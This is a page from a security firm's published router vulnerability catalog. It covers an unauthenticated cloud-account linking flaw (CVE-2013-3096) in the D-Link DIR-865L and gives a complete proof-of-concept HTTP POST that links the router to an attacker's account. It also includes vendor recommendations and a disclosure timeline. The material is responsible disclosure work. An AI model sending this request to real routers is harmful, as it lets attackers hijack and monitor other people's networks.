ISE SOHO Vulnerability Catalog Published - Independent Security ...

More documents

Recommendations

Info

References ♦ Advisory/Video: http://infosec42.blogspot.com ♦ http://securityevaluators.com/content/case-studies/ Credit ♦ Discovered By: Jacob Holcomb – Security Analyst @ Independent Security Evaluators ♦ Exploited By: Jacob Holcomb – Security Analyst @ Independent Security Evaluators Vulnerability: Unauthenticated Hardware Linking CVE: CVE-2013-3096 Description The D-Link DIR865L router is susceptible to an Unauthenticated Hardware Linking attack. An attacker can link the vulnerable D-Link router to an attacker controlled "My Cloud D-Link account" which gives the attacker the ability to change minimal configuration settings and monitor the network history of attached hosts. Attack Requirements ♦ The victim must follow a link crafted by an attacker (e.g., by clicking the link directly, or through some other mechanism such as redirection from a malicious site) or the attacker must have direct access to the routers port 80. ♦ Authentication is not required for exploitation. Details ♦ Other firmware versions were not tested and could be vulnerable. ♦ When the router is unlinked from a D-Link cloud account, the router will perform a factory reset. Impact If an unauthenticated remote attacker has access to the web management portal of a D- Link DIR-865L router, the attacker can make a single HTTP request to link the vulnerable router to their My Cloud D-Link account. Recommendations to the Vendor ♦ Require authentication for any page that performs a state change. 62
♦ Additional information for vendors regarding immediate and long term fixes for these issues can be found here: http://www.securityevaluators.com/content/casestudies/routers/#recommendationsVendors Solution ♦ There currently is not a solution to this problem. ♦ As a workaround, restrict access to WAN services. Proof of Concept Exploit The following HTTP POST will link the affected DIR-865L router to a D-Link cloud account. This attack could also be carried out via CSRF if the attacker does not have access to the web management interface. D-Link Cloud Account Linking * Make unauthenticated request to the router POST /register_send.php HTTP/1.1 Host: 192.168.0.1 User-‐Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: application/x-‐www-‐form-‐urlencoded; charset=UTF-‐8 Content-‐Length: 91 DNT: 1 Connection: keep-‐alive Pragma: no-‐cache Cache-‐Control: no-‐cache act=signin&lang=en&outemail=ACCOUNT_HERE&passwd=ACCOUNT_PASSWORD&mydlink_cookie= Disclosure Timeline ♦ 3/2013 - Notified D-Link. No response. ♦ 4/3/2013 - Notified D-Link requesting a follow up. ♦ 7/26/2013 - Public Disclosure References ♦ Advisory/Video: http://infosec42.blogspot.com ♦ http://securityevaluators.com/content/case-studies/ Credit ♦ Discovered By: Jacob Holcomb – Security Analyst @ Independent Security Evaluators ♦ Exploited By: Jacob Holcomb – Security Analyst @ Independent Security Evaluators 63
Page 1 and 2:
Vulnerability Catalog Revision 1 SO
Page 3 and 4:
Vulnerability: Cross-‐Site Sc
Page 5 and 6:
Summary ISE has performed extensiv
Page 7 and 8:
Solution ♦ There currently is not
Page 9 and 10:
♦ Advisory/Video: http://infosec4
Page 11 and 12: TRENDnet TEW-‐812DRU Vulnerab
Page 13 and 14: Disclosure Timeline ♦ 4/11/2013
Page 15 and 16: Vulnerability: Multiple Buffer O
Page 17 and 18: JavaScript or HTML code in the vict
Page 19 and 20: ♦ There currently is not a soluti
Page 21 and 22: } function _enable23(){ document
Page 23 and 24: TRENDnet TEW-691GR and TEW-692GR
Page 25 and 26: Proof of Concept Exploit TP-
Page 27 and 28: Details ♦ The router will need to
Page 29 and 30: ♦ 3/20/2013 - Contacted TP-Link
Page 31 and 32: Netgear WNDR4700 Vulnerability:
Page 33 and 34: all files stored on the external st
Page 35 and 36: References ♦ Advisory/Video: http
Page 37 and 38: Attack Requirements ♦ The attacke
Page 39 and 40: Figure 2 - WNDR4700 XSS #1 39
Page 41 and 42: Figure 4 -‐ WNDR4700 XSS #
Page 43 and 44: Linksys WRT310v2 Vulnerability:
Page 45 and 46: function PwN() {doc
Page 47 and 48: ♦ Advisory/Video: http://infosec4
Page 49 and 50: Figure 7 - EA6500 Malicious Co
Page 51 and 52: Solution ♦ There is no solution t
Page 53 and 54: Figure 9 - EA6500 DOM XSS Disc
Page 55 and 56: Content-‐Type: application/jso
Page 57 and 58: D-‐Link DIR-‐865L Vulnera
Page 59 and 60: document.DLINK.submit() Disc
Page 61: Description The D-Link DIR-865L rou
Page 65 and 66: ♦ 7/26/2013 - Public Disclosure R
Page 67 and 68: these issues can be found here: htt
Page 69 and 70: ♦ Validate HTTP Basic Authenticat
Page 71 and 72: Vulnerability: Authentication Byp
Page 73 and 74: Impact If an unauthenticated attack
Page 75 and 76: these issues can be found here: htt
Page 77 and 78: attacker from gaining access if an
Page 79 and 80: var wan_type=0; var wan_mac_addr
Page 81 and 82: attacker from gaining access if an
Page 83 and 84: Solution ♦ There currently is not
Page 85 and 86: Disclosure Timeline ♦ 2/11/2013 -
Page 87 and 88: var bEncPassword=1; var auto_che
Page 91 and 92: studies/routers/#recommendationsVen
Page 95 and 96: studies/routers/#recommendationsVen
Page 97 and 98: # The ASUS RT-‐AC66U contai
Page 99 and 100: try: print """ [*] Attempting
Page 101 and 102: Disclosure Timeline ♦ 7/26/2013 -
show all

ISE SOHO Vulnerability Catalog Published - Independent Security ...

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?